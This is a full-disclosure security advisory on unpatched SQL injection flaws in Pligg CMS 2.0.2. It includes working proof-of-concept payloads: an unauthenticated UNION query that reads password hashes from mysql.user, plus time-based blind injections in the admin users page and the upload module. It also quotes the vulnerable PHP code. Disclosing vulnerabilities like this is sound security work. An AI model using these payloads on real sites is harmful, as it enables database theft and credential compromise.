[FD] Pligg CMS 2.0.2: Multiple SQL Injections

Security Advisory - Curesec Research Team 1. Introduction Affected Product: Pligg CMS 2.0.2 Fixed in: not fixed Fixed Version Link: n/a Vendor Website: http://pligg.com/ Vulnerability Type: SQL Injection Remote Exploitable: Yes Reported to vendor: 09/01/2015 Disclosed to public: 10/07/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview There are multiple SQL Injection vulnerabilities in Pligg CMS 2.0.2. One of them does not require any credentials, and allows the direct extraction of data from the database. 3. SQL Injection Description Pligg CMS is vulnerable to SQL injection. It is possible to extract data from all databases that the pligg database user has access to. Credentials are not required. Proof Of Concept http://localhost//pligg-cms-master/story.php?title=google-blabla&reply=1&comment_id=1%20union%20all%20select%201,1,1,1,1,1,1,password,password,1%20from%20mysql.user%20%23 Code /story.php:168 if(isset($_GET['reply']) && !empty($parent_comment_id)){ $main_smarty->assign('the_comments', get_comments(true,0,$_GET['comment_id'])); $main_smarty->assign('parrent_comment_id',$parent_comment_id); } [...] function get_comments ($fetch = false, $parent = 0, $comment_id=0, $show_parent=0){ Global $db, $main_smarty, $current_user, $CommentOrder, $link, $cached_comments; //Set comment order to 1 if it's not set in the admin panel if (isset($_GET['comment_sort'])) setcookie('CommentOrder', $CommentOrder = $_GET['comment_sort'], time()+60*60*24*180); elseif (isset($_COOKIE['CommentOrder'])) $CommentOrder = $_COOKIE['CommentOrder']; if (!isset($CommentOrder)) $CommentOrder = 1; If ($CommentOrder == 1){$CommentOrderBy = "comment_votes DESC, comment_date DESC";} If ($CommentOrder == 2){$CommentOrderBy = "comment_date DESC";} If ($CommentOrder == 3){$CommentOrderBy = "comment_votes ASC, comment_date DESC";} If ($CommentOrder == 4){$CommentOrderBy = "comment_date ASC";} [...] $comments = $db->get_results("SELECT * FROM " . table_comments . " WHERE (comment_status='published' $status_sql) AND comment_link_id=$link->id AND comment_id = $comment_id ORDER BY " . $CommentOrderBy); 4. Blind SQL Injection (Admin Area) Description There is a blind SQL Injection in the admin area of Pligg CMS. This allows an attacker that gained admin credentials to extract data from the database. The problem exists because the index of the submitted "enabled" POST array is used in a query. The value is escaped - so using quotes in the injection is not possible - but it does not place the value in between quotes. Proof Of Concept POST /pligg-cms-master/admin/admin_users.php HTTP/1.1 frmsubmit=userlist&admin_acction=2&token=VALID_CSRF_TOKEN&all1=on&enabled[2 AND IF(SUBSTRING(version(), 1, 1)%3D5,BENCHMARK(500000000,version()),null) %23]=1 Code // admin/admin_users.php foreach($_POST["enabled"] as $id => $valuea) { $_GET['id'] = $id = $db->escape($id); $user= $db->get_row('SELECT * FROM ' . table_users ." where user_id=$id"); 5. Possibly SQL Injection Description The upload module is vulnerable to Blind SQL Injection via the "comment" as well as "id" parameter. The module seems to be unused at the moment, but if it were to be used in the future, or if an attacker finds a different way to execute it, it would be vulnerable. The requests to trigger the vulnerabilities would be: POST http://localhost/pligg-cms-master/modules/upload/upload.php id=1&number=1&comment=1' AND IF(SUBSTRING(version(), 1, 1)%3D5,BENCHMARK(500000000,version()),null) %23 POST http://localhost/pligg-cms-master/modules/upload/upload.php id=1&number=1&comment=1 Code ./modules/upload/upload.php: if ($_POST['id']) { $linkres=new Link; $linkres->id = sanitize($_POST['id'], 3); if(!is_numeric($linkres->id)) die("Wrong ID"); if(!is_numeric($_POST['number']) || $_POST['number']<=0) die("Wrong number"); if($_POST['number'] > get_misc_data('upload_maxnumber')) die("Too many files"); // Remove old file and thumbnails with same number $sql = "SELECT * FROM ".table_prefix."files WHERE ".($isadmin ? "" : "file_user_id='{$current_user->user_id}' AND")." file_link_id='{$_POST['id']}' AND file_number='{$_POST['number']}' AND file_comment_id='$_POST[comment]'"; The first problem is that $_POST[comment] is never sanitized. The second problem is that $_POST['id'] is first sanitized by removing tags, then it is checked if that result is nummeric, and finally the original POST value is used. Because of this, it is possible to put the injection inside tags to bypass the check. 6. Solution This issue was not fixed by the vendor. 7. Report Timeline 09/01/2015 Informed Vendor about Issue (no reply) 09/22/2015 Reminded Vendor of disclosure date 09/22/2015 Vendor replied, issue has been send to staff 09/29/2015 Reminded Vendor of disclosure date (no reply) 10/07/2015 Disclosed to public Blog Reference: http://ift.tt/1M4uxWr

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